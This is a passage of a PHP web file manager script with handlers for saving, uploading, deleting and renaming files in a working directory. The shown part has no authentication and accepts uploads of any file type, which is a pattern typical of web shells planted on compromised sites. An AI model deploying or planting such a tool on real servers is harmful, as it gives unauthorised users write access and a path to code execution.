' . htmlspecialchars($p) . ''; } return implode(' / ', $out); } $msg = ''; /* ================= SAVE FILE (ANTI 0 KB) ================= */ if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { $tmp = $target . '.tmp_' . uniqid('', true); $bytes = file_put_contents($tmp, $_POST['content'], LOCK_EX); if ($bytes !== false && filesize($tmp) > 0) { rename($tmp, $target); $msg = 'File saved successfully.'; } else { @unlink($tmp); $msg = 'Write failed. File NOT modified.'; } } else { $msg = 'File not writable.'; } } /* ================= UPLOAD ================= */ if (!empty($_FILES['upload']['name'])) { if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $name; if (!file_exists($dest) && move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $msg = 'Upload successful.'; } else { $msg = 'Upload failed or file exists.'; } } else { $msg = 'Upload error.'; } } /* ================= DELETE FILE ================= */ if (isset($_POST['delete'], $_POST['file'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { unlink($target); $msg = 'File deleted successfully.'; } else { $msg = 'File not deletable.'; } } /* ================= RENAME FILE ================= */ if (isset($_POST['rename'], $_POST['old'], $_POST['new'])) { $old = basename($_POST['old']); $new = basename($_POST['new']); $oldPath = $cwd . DIRECTORY_SEPARATOR . $old; $newPath = $cwd . DIRECTORY_SEPARATOR . $new; if ($new === '') { $msg = 'New filename cannot be empty.'; } elseif (!is_file($oldPath)) { $msg = 'Source file not found.'; } elseif (file_exists($newPath)) { $msg = 'Target filename already exists.'; } elseif (rename($oldPath, $newPath)) { $msg = 'File renamed successfully.'; } else { $msg = 'Rename failed.'; } } ?>